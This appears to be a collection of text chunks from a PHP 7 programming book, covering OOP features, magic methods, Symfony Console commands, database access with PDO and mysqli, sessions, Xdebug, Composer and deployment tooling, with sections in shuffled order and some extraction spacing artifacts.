option. To confirm that PCNTL is available on our system, we can execute the following console command: php -m | grep pcntl Given the power it bares, the use of the PCNTL extension is discouraged in production web environments. Writing PHP daemons scripts for command-line applications is what we want to use it for. To start putting things into perspective, let's go ahead and see how we would use the PCNTL features to handle process signals. Prominent OOP Features Prominent OOP Features The term object-oriented ( OO ) has been around since the 70s, when it was coined by computer scientist, Alan Kay. The term stood for a programming paradigm based on the concept of objects. At that time, Simula was the first language to exhibit OO features, such as objects, classes, inheritance, subtyping, and so on. Standardized as Simula 67 in 1977, it became an inspiration for later languages. One such inspired language is Smalltalk, created as a product of research led by Alan Kay at Xerox. Compared to Simula, Smalltalk greatly improved the overall OO concept. Over time, Smalltalk became one of the most influential OO programming language. While there is much more to be said about these early days, the takeaway is that OOP was born out of specific need. Where Simula used static objects for modeling real-world entities, Smalltalk used dynamic objects that could be created, changed, or deleted as the foundation for computation. The MVC pattern, one of the most common object-oriented software design patterns, was introduced in Smalltalk. The ease of mapping physical entities into objects described by classes certainly influenced the overall popularity of the OO paradigm among developers. However, objects are not just about mapped out instances of various properties, they are also about messages and responsibilities. While we may embrace OOP based on the first premise, we certainly start to appreciate the latter one, as the key to making big and scalable systems lies in the ease of object communication. The PHP language embodies several paradigms, most notably: imperative, functional, object oriented, procedural, and reflective. Whereas, the OOP support in PHP hasn't fully kicked off until the PHP 5 release. The latest versions of PHP 7 brought forth some minor yet noteworthy improvements to what is now considered a stable and mature PHP OOP model. In this chapter, we will explore some prominent features of object-oriented PHP: Object inheritance Objects and references Object iteration Object comparison Traits Reflection Using __get() Using __get() The __get() magic method is triggered when trying to read the data from an inaccessible property. The method accepts a single parameter, as per the following synopsis: public mixed __get(string $name) The $name argument is the name of the property being interacted with. Let's take a look at the following object context example: <?php class User { private $data = [ 'name' => 'Marry', 'age' => 32, 'salary' => 5300.00, ]; private $name = 'John'; protected $age = 34; public $salary = 4200.00; public function __get($name) { if (array_key_exists($name, $this->data)) { echo '__get => ' . $name . ': ' . $this->data[$name] . PHP_EOL; } else { trigger_error('Undefined property: ' . $name, E_USER_NOTICE); } } } $user = new User(); echo $user->name . PHP_EOL; echo $user->age . PHP_EOL; echo $user->salary . PHP_EOL; echo $user->message . PHP_EOL; The User class defines four different properties, across three different visibility access modifiers. Since we don't hav e getter m ethods to access all of the individual properties, the only directly accessible property is public $salary . This is where the __get() method comes in handy, as it kicks in as soon as we try to acces s a nonexistent or o therwise inaccessible prope rty. The resulting output of the preceding code comes down to the following four lines: __get => name: Marry __get => age: 32 4200 PHP Notice: Undefined property: message in... The age and the name values are fetched from within the $data property as a result of the __get() method's inner workings."},
    {"text": "Summary Summary Throughout this chapter, we have familiarized ourselves with some of the interesting features and tooling around PHP CLI. This chapter started with a basic introduction to PHP CLI SAPI, as one of the many SAPI interfaces in PHP. We then took a look into a simple but powerful Console component, learning how easy it is to create our own console applications. The I/O streams section helped us understand the standard streams, and how they are handled by PHP. Finally, we looked into the process control functions offered by the PCNTL extension. Combined together, these functions open up a wide range of possibilities to write our console applications. While the overall console application development might not seem interesting enough in comparison to more browser-facing applications, it certainly has its role in modern development. The CLI environment simply allows much greater control of our application. Moving forward, we will take a look into one of the most important and interesting OOP features in PHP. Usage statistics across popular platforms Usage statistics across popular platforms The PHP ecosystem is massive to say the least. There are dozens of free and open source CMS, CRM, shopping cart, blog, and other platforms and libraries out there. WordPress, Drupal, and Magento are probably among the most popular ones when it comes to blogs, content management, and shopping cart solutions. They are all available for download from their respective websites: WordPress: https://wordpress.org Drupal: https://www.drupal.org Magento: https://magento.com/ Considering these popular platforms, the following table puts some perspective around the magic method use: Magic method WordPress 4.7 (702 .php files) Drupal 8.2.4 (8199 .php files) Magento CE 2.1.3 (29649 .php files) __construct() 343 2547 12218 __destruct() 19 19 77 __call() 10 35 152 __callStatic() 1 2 4 __get() 23 31 125 __set() 15 24 86 __isset() 21 15 57 __unset() 11 13 34 __sleep() 0 46 103 __wakeup() 0 10 94 __toString() 15 181 460 __invoke() 0 27 112 __set_state() 0 3 5 __clone() 0 32 68 __debugInfo() 0 0 2 The table is a result of a crude function __[magic-method-name] search across an entire codebase of individual platforms. It's hard to draw any conclusions on top of it, as platforms differ significantly in number of .php files. One thing we can say for sure--not all magic methods are equally popular. WordPress, for example, does not even seem to use the __sleep() , __wakeup() , and __invoke() methods, which are of importance in OOP. This might be because WordPress does not handle as many OO components as Magento, for example, which is much more of an OOP platform in architectural sense. Drupal sort of sits in the middle here, in terms of total .php file numbers and the magic methods it uses. Inconclusive or not, the preceding table outlines the active use of pretty much every magic method PHP has to offer."},
    {"text": "Creating a console command Creating a console command Now that we have our barebone console application set up, let's create three commands to handle the following imaginary actions: Customer register Customer status set Customer export The word imaginary simply flags that we will not actually concern ourselves with the inner details of the executed commands, as our focus is understanding how to reuse the Console component. We start by creating CustomerRegisterCommand.php , CustomerStatusSetCommand.php , and CustomerExportCommand.php within our project's src/Foggyline/Console/Command/ directory. CustomerRegisterCommand.php file has the following content: <?php namespace Foggyline\\Console\\Command; use Symfony\\Component\\Console\\{ Command\\Command, Input\\InputInterface, Output\\OutputInterface }; class CustomerRegisterCommand extends Command { protected function configure() { $this->setName('customer:register') ->setDescription('Registers new customer.'); } protected function execute(InputInterface $input, OutputInterface $output) { // Some imaginary logic here... $output->writeln('Customer registered.'); } } CustomerStatusSetCommand.php file has the following content: <?php namespace Foggyline\\Console\\Command; use Symfony\\Component\\Console\\{ Command\\Command, Input\\InputInterface, Output\\OutputInterface }; class CustomerStatusSetCommand extends Command { protected function configure() { $this->setName('customer:status:set') ->setDescription('Enables of disables existing customer.'); } protected function execute(InputInterface $input, OutputInterface $output) { // Some imaginary logic here... $output->writeln('Customer disabled.'); } } CustomerExportCommand.php file has the following content: <?php namespace Foggyline\\Console\\Command; use Symfony\\Component\\Console\\{ Command\\Command, Input\\InputInterface, Output\\OutputInterface }; class CustomerExportCommand extends Command { protected function configure() { $this->setName('customer:export') ->setDescription('Exports one or more customers.'); } protected function execute(InputInterface $input, OutputInterface $output) { // Some imaginary logic here... $output->writeln('Customers exported.'); } } We can see that all three commands extend Symfony\\Component\\Console\\Command\\Command and provide their own implementation of the configure() and execute() methods. The configure() method is sort of like the constructor, where we would place our initial configuration, such as name of the command, its description, options, arguments, and so on. The execute() method is where our actual command logic needs to be implemented, or called if implemented elsewhere. With these three commands in place, we need to go back to the app.php file and modify its content as follows: #!/usr/bin/env php <?php $loader = require __DIR__ . '/vendor/autoload.php' ; $loader ->add( 'Foggyline' , __DIR__ . '/src/' ); use Symfony\\Component\\Console\\Application; use Foggyline\\Console\\Command\\{ CustomerExportCommand, CustomerRegisterCommand, CustomerStatusSetCommand }; $app = new Application( 'Foggyline App' , '1.0.0' ); $app ->add( new CustomerRegisterCommand()); $app ->add( new CustomerStatusSetCommand()); $app ->add( new CustomerExportCommand()); $app ->run(); Compared to our initial app.php file, there are a few changes here. Notice the line where we require the autoload.php file. If we actually took a look at that file, we would see it returns an instance of the Composer\\Autoload\\ClassLoader class. This is the Composer's PSR-0, PSR-4, and classmap class loader that we can use to our advantage to load our commands. This is exactly what the $loader->add('Foggyline'... line is doing. Finally, we register our newly created commands using the application's add() method. With these changes in place, executing our application yields the following output: Our three commands are now appearing on the list of available commands. The name and description values we set within the command class configure() method are being shown for each command. We can now easily execute one these commands: The Customer disabled. label confirms the execution of our CustomerStatusSetCommand execute() method. While the overall concept of our console application and its commands was fairly easy to grasp so far, our commands are hardly useful at the moment, as we are not passing any inputs to them."},
    {"text": "Creating a custom exception handler Creating a custom exception handler By extending the built-in Exception class, PHP lets us throw any object as if it were an exception. Let's take a look at the following example: <?php class UsernameException extends Exception {} class PasswordException extends Exception {} $username = 'john'; $password = ''; try { if (empty($username)) { throw new UsernameException(); } if (empty($password)) { throw new PasswordException(); } throw new Exception(); } catch (UsernameException $e) { echo 'Caught UsernameException.'; } catch (PasswordException $e) { echo 'Caught PasswordException.'; } catch (Exception $e) { echo 'Caught Exception.'; } finally { echo 'Finally.'; } Here, we defined two custom exceptions, UsernameException and PasswordException . They merely extended the built-in Exception , not really introducing any new methods or functionality. We then defined two variables, $username and $password . The $password variable was set to be an empty string. Finally, we set the try...catch...finally blocks, with three different catch blocks. The first two catch blocks are targeted to our custom exceptions, and the third targets the built-in Exception . Due to an empty password, the preceding example would throw new PasswordException , and, therefore, output the Caught PasswordException. Finally. string. Error handling Error handling Handling errors around PDO can be done using the special PDOException class, as follows: <?php try { $host = '127.0.0.1' ; $dbname = 'sakila' ; $username = 'root' ; $password = 'mL08e!Tq' ; $conn = new PDO( \"mysql:host= $host ;dbname= $dbname \" , $username , $password , [PDO:: ATTR_ERRMODE => PDO:: ERRMODE_EXCEPTION ] ); } catch (PDOException $e ) { echo $e ->getMessage(), PHP_EOL ; } There are three different error modes: ERRMODE_SILENT ERRMODE_WARNING ERRMODE_EXCEPTION Here, we are using ERRMODE_EXCEPTION in order to utilize the try...catch blocks. Understanding PHP CLI Understanding PHP CLI Working with the console in PHP is quite easy via the help of PHP CLI SAPI, or just PHP CLI for short. PHP CLI was first introduced in PHP 4.2.0 as an experimental feature, and, soon after, it became fully supported and enabled by default in the later versions of PHP. The great thing about it is that it is available on all popular operating systems (Linux, Windows, OSX, Solaris). This makes it easy to write console applications that execute pretty much on any platform. Check out https://en.wikipedia.org/wiki/Command-line_interface and https://en.wikipedia.org/wiki/Server_Application_Programming_Interface for more elaborate descriptions of general CLI and SAPI abbreviations. PHP CLI is not the only SAPI interface supported by PHP. Using the php_sapi_name() function, we can get a name of the current interface that PHP is using. Other possible interfaces include aolserver, apache, apache2handler, cgi, cgi-fcgi, cli, cli-server, continuity, embed, fpm-fcgi, and others. Running a simple php -v command within our operating system console should give us an output similar to the following: PHP 7.1.0-3+deb.sury.org~yakkety+1 (cli) ( NTS ) Copyright (c) 1997-2016 The PHP Group Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies with Zend OPcache v7.1.0-3+deb.sury.org~yakkety+1, Copyright (c) 1999-2016, by Zend Technologies This should serve as confirmation that PHP CLI SAPI is up and running. The CLI version of PHP has its own php.ini configuration, separate from other SAPI interfaces. Running the php --ini command on console will expose the following details about the currently used php.ini file: Configuration File (php.ini) Path: /etc/php/7.1/cli Loaded Configuration File: /etc/php/7.1/cli/php.ini Scan for additional .ini files in: /etc/php/7.1/cli/conf.d Additional .ini files parsed: /etc/php/7.1/cli/conf.d/10-opcache.ini, /etc/php/7.1/cli/conf.d/10-pdo.ini, /etc/php/7.1/cli/conf.d/20-calendar.ini, /etc/php/7.1/cli/conf.d/20-ctype.ini, ... Here, we can see the location of the main configuration file ( php.ini ) and extension-specific configuration files. Chaining the configuration of these configuration files takes immediate effect, as they are loaded each time we invoke PHP. Summary Summary Throughout this chapter, we touched upon the basics of querying three very different database systems. The MySQL database has been around for a very long time, and is likely the number one database for most PHP applications. Its ACID compliance makes it irreplaceable for applications dealing with financial or other sensitive data where atomicity, consistency, isolation, and durability are key factors. Mongo, on the other hand, tackles data storage through a schema-less approach. This makes it much easier for developers to pace up application development, although the lack of ACID compliance across documents limits its use in certain types of applications. Finally, the Redis data store serves as a great caching, or even a session-storing solution for our applications. Moving forward, we will take a closer look at dependency injection, what it is, and what role does it have within modular applications."},
    {"text": "Building Services Building Services A great deal of modern applications use HTTP ( Hypertext Transfer Protocol ) nowadays. This stateless, application-layer protocol allows us to exchange messages between distributed systems. The message exchange process can be observed through a client-server computing model as it happens in the form of the request-response type of messages. This allows us to easily write a service, or web service to be more specific, that triggers various operations on server and feedback data back to the client. In this chapter, we will take a closer look at this client-server relationship through the following sections: Understanding the client-server relationship Working with SOAP: XML extensions Creating server Creating WSDL file Creating client Working with REST: JSON extensions Creating server Creating client Working with Apache Thrift (RPC): Installing Apache Thrift Defining service Creating server Creating client Understanding microservices Summary Summary The PHP-FIG group addresses a wide range of things through its PSRs. Some of them focus on the structure and readability of the code, others strive for increased interoperability by defining numerous interfaces. These PSRs, directly or indirectly, contribute to improved quality of our project and the third-party libraries we might use. The RFC 2119 standard was a common base for each of the PSR. It removes any ambiguity around may, must, should, and similar words that describe the standard. This ensures that the documentation gets read just as PHP-FIG intended it. While we might not be in touch with each of the standards on a day-to-day basis, it is worth paying attention to them when choosing the libraries for our project. Standard compliant libraries, such as Monolog, usually mean more flexibility, as we can easily switch between different libraries in later stages of the project. Moving forward, we will look into configuration options, mechanisms, and libraries behind error handling and logging. Session handling Session handling Sessions are an interesting mechanism in PHP, allowing us to maintain state in what is overall a stateless communication. We might visualize them as a per-user serialized array of information saved to a file. We use them to stor e user-specific informat ion across various pages. By default, sessions rely on cookies, although, they can be configured to use the SID parameter in a browser. The cookie version of the PHP session works roughly as follows: Read the session token from the cookie. Create or open an existing file on disk. Lock the file for writing. Read the content of the file. Put the file data into the global $_SESSION variable. Set caching headers. Return the cookie to the client. On each page request, repeat steps 1-7. The SID version of the PHP session works pretty much the same way, aside from the cookie part. The cookie here is replaced by the SID value we push via the URL. The session mechanism can be used for various things, some of which include user login mechanisms, storing minor data caches, parts of templates, and so on. Depending on the usage, this might bring up the question of maximum session size . By default, when a script executes, sessions are read from files into the memory. Therefore, the maximum size of a session file cannot exceed the memory_limit directive, which defaults to 128 megabytes. We could bypass this default session behavior by defining the custom session handlers. The session_set_save_handler() function allows us to register a custom session handler, which must comply to the SessionHandlerInterface interface. With custom session handlers, we are able to move away from the file mechanism to storing session data in the database. The added benefit of this is greater performance efficiency, as we are now able to create scalable PHP environments behind a load balancer where all application nodes connect to a central session server. Redis and memcached are two data stores that are quite popular among PHP developers. The Magento 2 e-commerce platform supports both Redis and memcached for external session storage. While the session storage plays a key role in terms of performance, there are a few configuration directives worth keeping an eye on: session.gc_probability : This defaults to 1 session.gc_divisor : This defaults to 100 gc_maxlifetime : This defaults to 1,440 seconds (24 minutes) The gc_probability and gc_divisor directives work in conjunction. Their ratio ( gc_probability/gc_divisor => 1/100 => 1% ) defines a probability of the garbage collector running on each session_start() call. Once the garbage collector is run, value of the gc_maxlifetime directive tells it if something should be seen as garbage and should be potentially cleaned up. When it comes to high-performance sites, sessions can easily become a bottleneck. Thoughtful tuning and session storage selection can make just the right performance difference."},
    {"text": "Profiling Profiling The profiling feature of Xdebug can be easily turned on with the xdebug.profiler_enable=1 option. With our Ubuntu installation, we will modify the /etc/php/7.0/apache2/conf.d/20-xdebug.ini file as follows: zend_extension=xdebug.so xdebug.remote_enable=1 xdebug.auto_trace=1 xdebug.profiler_enable=1 Once the file has been modified, we need to make sure the Apache server is restarted : service apache2 restart While xdebug.profiler_enable is the required option to turn on the profiling feature, other related options include the following: xdebug.profiler_aggregate xdebug.profiler_append xdebug.profiler_enable xdebug.profiler_enable_trigger xdebug.profiler_enable_trigger_value xdebug.profiler_output_dir xdebug.profiler_output_name Supplementa l information about individu al profiler configura tion options can be found at https://xdebug.org/docs/profiler . Similar t o tracing, we don't get to control th e profiling feat ure from IDE or text editor. By default, th e profiling fea ture creates a different cachegrind.out.%p file under the /tmp directory each time an application is executed. Our specific example application, once executed, results in a cachegrind file, much like the following screenshot (partial output): The information contained here is far less readable than that of a tracing file, which is alright as the two target different types of information. The cachegrind file can be pulled into an application such as KCachegrind or QCacheGrind, which then gives us a much more user -friendly and visual representation of the captured information : The cachegrind file output delivers an important performance-related information. We get an insight into all of the functions used within the application, sorted by time spent within an individual function and all of its children. This allows us to spot performance bottlenecks, even if it is within the millisecond time frame. Credits Credits Author Branko Ajzele Copy Editor Safis Editing Reviewers Martin Beaudry Andrew Caya Alexandru-Emil Lupu Mario Magdic Project Coordinator Vaidehi Sawant Commissioning Editor Kunal Parikh Proofreader Safis Editing Acquisition Editor Chaitanya Nair Indexer Pratik Shirodkar Content Development Editor Siddhi Chavan Production Coordinator Nilesh Mohite Technical Editor Dhiraj Chandanshive The null coalesce operator The null coalesce operator Working with variables in PHP is quite easy. Variable declaration and initialization is done via a single expression. For example, the expression $user['name'] = 'John'; will automatically declare variable $user of type array and initialize that array with a single key name of value John . Day-to-day development often includes checking for the existence of a variable value for various branching decisions, such as if ($user['name'] == ' John ' ) { … } else { … } . As we write our code ourselves, we tend to make sure that our code does not use non-declared variables and non-initialized array keys. There are cases, however, where variables come from outside, so we are not really in a position to guarantee their existence at runtime. Calling for $user[ ' name ' ] when $user is not set, or is set but with keys other than name, will result in notice undefined index-- name . Like any unexpected state in code, notices are bad, more so because they do not actually break your code, they allow it to execute further. When a notice occurs, unless we have the display_errors configuration set to true , and error reporting configured to show E_ALL , we would not even see the notice in the browser. This is bad, as we might depend on the existence of variables and their values that are not there. This dependency might not even be handled in our code, and we would not even notice it because the code will continue to execute unless a specific variable check is put in place. The PHP language has a certain number of predefined variables called superglobals , which we can use from any function, class, or file, regardless of the scope. The most used ones are probably $_POST and $_GET superglobals, which are used to fetch the data submitted via forms or URL parameters. Since we cannot guarantee the existence of $_GET[ ' name ' ] in such cases, we need to check for it. Usually, this is done using the isset and empty functions in PHP, as shown in the following code block: // #1 if (isset($_GET['name']) && !empty($_GET['name'])) { $name = $_GET['name']; } else { $name = 'N/A'; } // #2 if (!empty($_GET['name'])) { $name = $_GET['name']; } else { $name = 'N/A'; } // #3 $name = ((isset($_GET['name']) && !empty($_GET['name']))) ? $_GET['name'] : 'N/A'; // #4 $name = (!empty($_GET['name'])) ? $_GET['name'] : 'N/A'; The first example is the most robust one, as it uses both, the isset and empty functions. These functions are not the same, so it's important to understand what each of them does. The good thing about an empty function is that it will not trigger a notice if we try to pass it a variable that might not be set, such as $_GET[ ' name ' ] ; it will simply return true or false . This makes the empty function a nice helper for most cases. However, even the fourth example, written via the use of the ternary operator, is somewhat robust. PHP 7 introduced a new type of operator called the null coalesce ( ?? ) operator. It empowers us with the ability of writing shorter expressions. The following example demonstrates the elegance of its use: $name = $_GET['name'] ?? 'N/A'; It returns the result of its first operand if it exists and is not null, or else its second operand. In other words, reading it from left to right, the first existing value, which is not null, is the value that will be returned."},
    {"text": "Inserting Inserting Now that we have learned how to prepare a query and bind data to it, inserting new records becomes pretty easy: <?php try { // Report on all types of errors mysqli_report ( MYSQLI_REPORT_ALL ); // Open a new connection to the MySQL server $mysqli = new mysqli('127.0.0.1', 'root', 'mL08e!Tq', 'sakila'); // Prepare some teat address data $address = 'The street' ; $district = 'The district' ; $cityId = 135 ; // Matches the Dallas city in Sakila DB $postalCode = '31000' ; $phone = '123456789' ; // Prepare an SQL statement for execution $statement = $mysqli ->prepare( 'INSERT INTO address ( address, district, city_id, postal_code, phone ) VALUES ( ?, ?, ?, ?, ? ); ' ); // Bind variables to a prepared statement as parameters $statement ->bind_param( 'ssiss' , $address , $district , $cityId , $postalCode , $phone ); // Execute a prepared Query $statement ->execute(); // Close a prepared statement $statement ->close(); // Quick & \"dirty\" way to fetch newly created address id $addressId = $mysqli -> insert_id ; // Close database connection $mysqli ->close(); } catch (mysqli_sql_exception $e ) { // Output error and exit upon exception echo $e ->getMessage(); exit ; } The example here pretty much follows the previous one where we introdu ced binding. Th e obvious difference merely lies in the actual INSERT INTO SQL expression. It goes without saying that mysqli does not have separate PHP classes or methods to handle selecting, inserting, or any other action. Going Serverless Going Serverless The serverless term is probably among the hottest terms in the software industry lately. It may be described as the architecture style that partially or fully abstracts the infrastructure needed to run our software. This abstraction is usually provided by various third-party service providers. To put it in the context of web application development, let's think about Single Page Application ( SPA ). Nowadays, we can easily develop an entire SPA on top of a fully managed infrastructure, such as AWS. Such a SPA may be written in Angular, having client components served from the S3 bucket, managing users through the Amazon Cognito service, whilst using DynamoDB as an application data store. The managed infrastructure abstracts away any hosting or server dealings from us, allowing us to focus our efforts on the application alone. What we end up with is one form of serverless application, depending on how narrow our definition is. Like any architectural style, serverless is far from being <<the solution>> . While some types of application can benefit from it, others might find it a total mismatch. The long-running applications for example, can easily turn out to be expensive solution for serverless frameworks, rather than running a workload on a dedicated server. The trick is to find the right balance. A more rigid and narrow definition of serverless is pure code/function hosting, often referred to as Function as a Service ( FaaS ). Such infrastructures provide highly concurrent, scalable, yet affordable solutions, given that they are mostly priced by pay-per-execution model. AWS Lambda and Iron.io are two platforms that perfectly depict this notion. In this chapter, we will take a closer look at how we can utilize both the AWS Lambda and the Iron.io platforms to deploy chunks of our code: Using the serverless framework Using Iron.io IronWorker Xdebug Xdebug Xdebug is a PHP extension that provides debugging, tracing, and profiling capabilities. The debugger component uses the DBGp debugging protocol in order to establish the communication between a PHP scripting engine and a debugger IDE. There are several IDEs and text editors that support the DBGp debugging protocol; the following are merely a few of the more popular ones: NetBeans : This is a free cross-platform IDE available at https://netbeans.org/ Eclipse PDT : This is a free cross-platform IDE available at https://eclipse.org/pdt/ PhpStorm : This is a commercial cross-platform IDE available at https://www.jetbrains.com/phpstorm/ Zend Studio : This is a commercial cross-platform IDE available at http://www.zend.com/en/products/studio Sublime Text 3 : This is a commercial cross-platform text editor available at https://www.sublimetext.com/3 Notepad++ : This is a free Windows platform text editor available at https://notepad-plus-plus.org/ Vim : This is a free cross-platform text editor available at http://www.vim.org/ While the DBGp debugging protocol support may seem sufficient as a debugger selection factor, what really differentiates these IDEs and text editors is their level of support for latest versions of PHP. With its cutting-edge PHP support and innovative solutions, PhpStorm is likely the most popular commercial choice among professional PHP developers. Considering the average hourly rate of a skilled PHP developer, the cost of tool seems all but expensive with regards to the abundance of features that speed up the development work. To get a better understanding of the Xdebug capabilities, let's go ahead and perform the following steps: Install LAMP stack. Install the Xdebug extension. Install NetBeans. Pull in the sample PHP application as our playground for debugging. Configure debugging. Configure tracing. Configure profiling."},
    {"text": "Object iteration Object iteration The PHP arrays are the most frequent collection structure used in PHP. We can squeeze pretty much anything into an array, ranging from scalar values to objects. Iterating through elements of such a structure is trivially easy using the foreach statement. However, arrays are not the only iterable types, as objects themselves are iterable. Let's take a look at the following array-based example: <?php $user = [ 'name' => 'John', 'age' => 34, 'salary' => 4200.00 ]; foreach ($user as $k => $v) { echo \"key: $k, value: $v\" . PHP_EOL; } Now let's take a look at the following object-based example: <?php class User { public $name = 'John'; public $age = 34; public $salary = 4200.00; } $user = new User(); foreach ($user as $k => $v) { echo \"key: $k, value: $v\" . PHP_EOL; } Executed on the console, both of these examples would yield an identical output: key: name, value: John key: age, value: 34 key: salary, value: 4200 By default, iteration works only with public properties, excluding any private or protected properties from the list. PHP provides an Iterator interface, making it possible to specify what values we want to make available for iterating. Iterator extends Traversable { abstract public mixed current(void) abstract public scalar key(void) abstract public void next(void) abstract public void rewind(void) abstract public boolean valid(void) } The following example demonstrates a simple Iterator interface implementation: <?php class User implements \\Iterator { public $name = 'John'; private $age = 34; protected $salary = 4200.00; private $info = []; public function __construct() { $this->info = [ 'name' => $this->name, 'age' => $this->age, 'salary' => $this->salary ]; } public function current() { return current($this->info); } public function next() { return next($this->info); } public function key() { return key($this->info); } public function valid() { $key = key($this->info); return ($key !== null && $key !== false); } public function rewind() { return reset($this->info); } } With this implementation, we are now seemingly able to iterate over the User class private and protected properties. Although, this is not really the case. What's happening is that, through the constructor, the class is filling the $info parameter with the data of all other properties we wish to iterate. The interface mandated methods then ensure that our class plays nicely with the foreach construct. Object iteration is a neat, though often overlooked, feature of PHP when it comes to everyday development. Installing MongoDB Installing MongoDB Assuming we are using the fresh Ubuntu 16.10 (Yakkety Yak) installation, the following steps outline how we can setup MongoDB: We will install MongoDB using the following console command: sudo apt-get update sudo apt-get install -y mongodb To further check that MongoDB is successfully installed and running, we can execute the following command: sudo systemctl status mongodb.service This should give us the following output: Setting up the server machine Setting up the server machine We previously mentioned there are several hosting solutions that allow full control over the server machine. These solutions come in form of VPS, dedicated and cloud services. For the purpose of this example, we will be using the Vultr Cloud Compute ( VC2 ) , which is available at https://www.vultr.com . Without going too deep into the ins and outs of the Vultr service, it's suffice to say it provides an affordable cloud compute service via an easy-to-use administration interface. Assuming we have created a Vultr account, the first thing we want to do now is to add our workstation SSH public key to it. We can easily do so through Vultr's Servers | SSH Keys interface: Once the SSH Key is saved, we can go back to the Servers screen and click on the Deploy New Server button. This brings us to the Deploy New Instance interface, which presents us with several steps. The steps we focus our attention on are Server Type and SSH Keys . For Server Type , let's go ahead and choose Ubuntu 16.04 x64 : For SSH Keys, let's go ahead and choose the SSH key we just added to Vultr: With these two selected, we can click on the Deploy Now button, which should trigger deployment of our server machine. To this point, we might wonder, what the purpose of this exercise might be, as we have clearly created a server machine pretty much manually. After all, Ansible has a module to manage servers on Vultr so we could have easily used that for server creation. The exercise here, however, is around the basics of understanding how easily it is to \"hook\" Ansible to an existing server machine and then use it to provision further software to it. Now that we have a server machine running, let's move on to the further configuration of Ansible on the workstation."},
    {"text": "PaaS PaaS The platform as a service ( PaaS ) is a special type of hosting where a provider delivers hardware and software tools needed to speed up application development. We may go so far as to compare PaaS with the power and flexibility of dedicated servers backed by dozens of easily connected services assisting the availability, reliability, scalability, and application development activities. This makes it a popular choice among developers. The popular IT Central Station site ( https://www.itcentralstation.com ) shares the list of the best PaaS clouds vendors of 2017 as follows: Amazon AWS : https://aws.amazon.com Microsoft Azure : https://azure.microsoft.com Heroku : https://www.heroku.com Mendix : https://www.mendix.com Salesforce App Cloud : https://www.salesforce.com Oracle Java Cloud Service : https://cloud.oracle.com/java HPE Helion : https://www.hpe.com Rackspace Cloud : https://www.rackspace.com Google App Engine : https://cloud.google.com Oracle Cloud Platform : http://www.oracle.com/solutions/cloud/platform/ The following report has been taken for April 2017: While all of these services have much to offer, it is worth pointing out Amazon AWS, which was named by Gartner in 2016 Magic Quadrant for Cloud Infrastructure as a Service as having the furthest completeness of vision. The evaluation criteria are based on several key factors: Market understanding Marketing strategy Sales strategy Offering (product) strategy Business model Vertical/industry strategy Innovation Geographic strategy The great starting point with Amazon AWS is its EC2 service, which provides resizable virtual servers. These act much like the dedicated server, but in cloud, where we get to choose the region of the world we would like to deploy these. On top of that, there are dozens of other services within the Amazon AWS offering that enrich the overall application management: An easy-to-use interface, rich service offering, affordable price, great documentation, certification, and available tooling are some of the selling points for developers when it comes to Amazon AWS. Setting up the workstation machine Setting up the workstation machine Using Ubuntu powered workstation, we can easily install the Ansible tool just by running the following set of commands: sudo apt-get install software-properties-common sudo apt-add-repository ppa:ansible/ansible sudo apt-get update sudo apt-get install ansible If all went well, ansible --version should give us an output much like this screenshot: The Ansible is a console tool for runn ing ad-hoc tasks. Whereas ad-hoc i mplies on something we do quickly, without writing the ent ire playbook for it . Likewise, ansible-galaxy --version should give us an output much like the following screenshot: The ansible-galaxy is a console tool we can use to install, create, and remove roles, or perform tasks on the Galaxy website. By default, tool communicates with the Galaxy website API using the server address https://galaxy.ansible.com . Also, ansible-playbook --version should give us an output much like the following screenshot: The ansible-playbook is a console tool used for configuration management and deployments. With the Ansible tool in place, let's make sure our workstation has a proper SSH key, which we will use later on to connect to the server machine. We can easily generate the SSH key by simply running the following command, followed by hitting the Enter key when asked for a file and passphrase: ssh-keygen -t rsa This should give us an output much like the following one: Using the Ansible playbooks, we can define various provisioning steps in the easy-to-read YAML format. Understanding Composer Understanding Composer Composer is a per-project package manager for PHP. Originally released in 2011, it quickly caught up and became a favorite package manager among PHP developers. Just by looking at its GitHub statistics, we can see the project is being actively developed by the community: Nowadays, it is an integral part of almost every popular PHP project. Installing Composer is a pretty straightforward task. Assuming we are using the fresh Ubuntu 16.10 (Yakkety Yak) installation, the following command outlines how we can install Composer: sudo apt-get -y install composer Running composer -v after the installation should show the output similar to the following screenshot: Now that we have it installed, using Composer is quite simple. Assuming we have an existing project to which we would like to add the Twig library, we can do so just by running the following command within our project root directory: composer require \"twig/twig:^2.0\" Upon execution, two files and a directory are created/modified: composer.json , composer.lock , and vendor . The vendor directory is the physical location where Composer places the packages we choose to install. We could have easily started off by manually creating the same composer.json file with the content as follows, and then running the composer install command within the project directory: { \"require\": { \"twig/twig\": \"^2.0\" } } Check out https://getcomposer.org/doc/04-schema.md for full information on possible composer.json content. Now we could easily modify index.php or any other entry-point file to our root project directory and include all of the installed composer packages by adding the following entry to it as follows: require_once __DIR__ . '/vendor/autoload.php'; The vendor/autoload.php file is created by the composer tool, which handles the autoloading of all the packages we pulled in through composer, the content of which looks like this: <?php // autoload.php @generated by Composer require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInitea5a081b69b5068b6eadbd8b638d57b2::getLoader(); This file is not something we should really concern ourselves with, aside from knowing where it is. Both PSR-4 and PSR-0 autoloading are supported, although PSR-4 is the recommended way as it offers a greater ease of use. As soon as we include /vendor/autoload.php into our script, all of the pulled in packages become available to our application. Whether it is a new or existing project, Composer makes it quite easy to add packages to it. Learning about Composer in full is out of the scope of this section. Consult the original documentation ( https://getcomposer.org/ ) for more details on Composer."},
    {"text": "Summary Summary The PHP 7 and 7.1 releases have introduced quite a few changes. Some of these changes transform the language beyond what PHP once was. While still pertaining the dynamic typing system, function parameters and return types can now be strictly defined. This changes the way we look and work with functions. Among function-related changes, there are several others targeting improvements over a decade old PHP 5. The ecosystem, as a whole, will take some time to catch up. For developers with experience in PHP 5, these changes are not merely technical in nature; they require change of mindset in order to successfully apply what is now possible. Moving forward, we will look into the current state of PHP standards, who defines them, what they describe, and how can we benefit from embracing them. The object pool pattern The object pool pattern The object pool pattern manages class instances--objects. It is used in situations where we would like to limit unnecessary class instantiation due to resource-intense operations. The object pool acts much like a registry for objects, from which clients can pick up necessary objects later on. The following example demonstrates a poss ible object pool pattern imp lementation: <?php class ObjectPool { private $instances = []; public function load( $key ) { return $this -> instances [ $key ]; } public function save( $object , $key ) { $this -> instances [ $key ] = $object ; } } class User { public function hello( $name ) { return 'Hello ' . $name ; } } // Client use $pool = new ObjectPool(); $user = new User(); $key = spl_object_hash ( $user ); $pool ->save( $user , $key ); // code... $user = $pool ->load( $key ); echo $user ->hello( 'John' ); Using nothing but 